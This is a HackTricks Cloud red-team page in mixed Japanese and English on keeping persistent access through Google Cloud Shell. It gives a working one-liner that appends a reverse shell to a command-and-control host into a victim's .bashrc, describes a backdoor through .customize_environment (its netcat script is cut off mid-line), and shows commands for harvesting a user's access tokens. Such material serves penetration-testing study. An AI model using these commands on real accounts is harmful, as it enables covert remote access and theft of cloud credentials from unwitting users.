GCP - Cloud Shell 永続化
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
Cloud Shell
For more information check:
永続的な Backdoor
Google Cloud Shell は、ブラウザから直接クラウドリソースにコマンドラインでアクセスでき、料金は発生しません。
You can access Google’s Cloud Shell from the web console or running gcloud cloud-shell ssh.
This console has some interesting capabilities for attackers:
- Any Google user with access to Google Cloud has access to a fully authenticated Cloud Shell instance (Service Accounts can, even being Owners of the org).
- Said instance will maintain its home directory for at least 120 days if no activity happens.
- There is no capabilities for an organisation to monitor the activity of that instance.
これは基本的に、攻撃者がユーザーのホームディレクトリに backdoor を置くことができ、ユーザーが少なくとも120日ごとに GC Shell に接続する限り backdoor は存続し、攻撃者は実行するたびにシェルを得ることができるということを意味します。単に次の操作を行うだけです:
Add reverse shell to .bashrc
```bash echo '(nohup /usr/bin/env -i /bin/bash 2>/dev/null -norc -noprofile >& /dev/tcp/'$CCSERVER'/443 0>&1 &)' >> $HOME/.bashrc ```ホームフォルダに .customize_environment という別のファイルがあり、存在する場合は、ユーザーが cloud shell にアクセスするたびに 実行されます(前の手法と同様)。前述の backdoor を挿入するか、以下のようなものを入れておけば、ユーザーが「頻繁に」cloud shell を使用する限り persistence を維持できます:
.customize_environment backdoor を作成
```bash #!/bin/sh apt-get install netcat -y ncWarning
注意: 認証を要する操作が初めて実行される際、ユーザーのブラウザに承認用のポップアップウィンドウが表示されることに注意してください。このウィンドウはコマンドを実行する前に承認される必要があります。予期しないポップアップが表示されると、疑いを招き、使用している永続化方法が露呈する可能性があります。
This is the pop-up from executing gcloud projects list from the cloud shell (as attacker) viewed in the browsers user session:
.png)
However, if the user has actively used the cloudshell, the pop-up won’t appear and you can ユーザーのトークンを収集することができます:
Cloud Shell からアクセス トークンを取得する
```bash gcloud auth print-access-token gcloud auth application-default print-access-token ```SSH接続の確立方法
基本的に、以下の3つのAPIコールが使用されます:
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:addPublicKey [POST] (ローカルで作成した公開鍵を追加します)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default:start [POST] (インスタンスを起動します)
- https://content-cloudshell.googleapis.com/v1/users/me/environments/default [GET] (google cloud shell のIPを返します)
参考文献
- https://89berner.medium.com/persistant-gcp-backdoors-with-googles-cloud-shell-2f75c83096ec
- https://github.com/FrancescoDiSalesGithub/Google-cloud-shell-hacking?tab=readme-ov-file#ssh-on-the-google-cloud-shell-using-the-private-key
- https://securityintelligence.com/posts/attacker-achieve-persistence-google-cloud-platform-cloud-shell/
Tip
AWSハッキングを学び、実践する:
HackTricks Training AWS Red Team Expert (ARTE)
GCPハッキングを学び、実践する:HackTricks Training GCP Red Team Expert (GRTE)
Azureハッキングを学び、実践する:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricksをサポートする
- サブスクリプションプランを確認してください!
- **💬 Discordグループまたはテレグラムグループに参加するか、Twitter 🐦 @hacktricks_liveをフォローしてください。
- HackTricksおよびHackTricks CloudのGitHubリポジトリにPRを提出してハッキングトリックを共有してください。
HackTricks Cloud

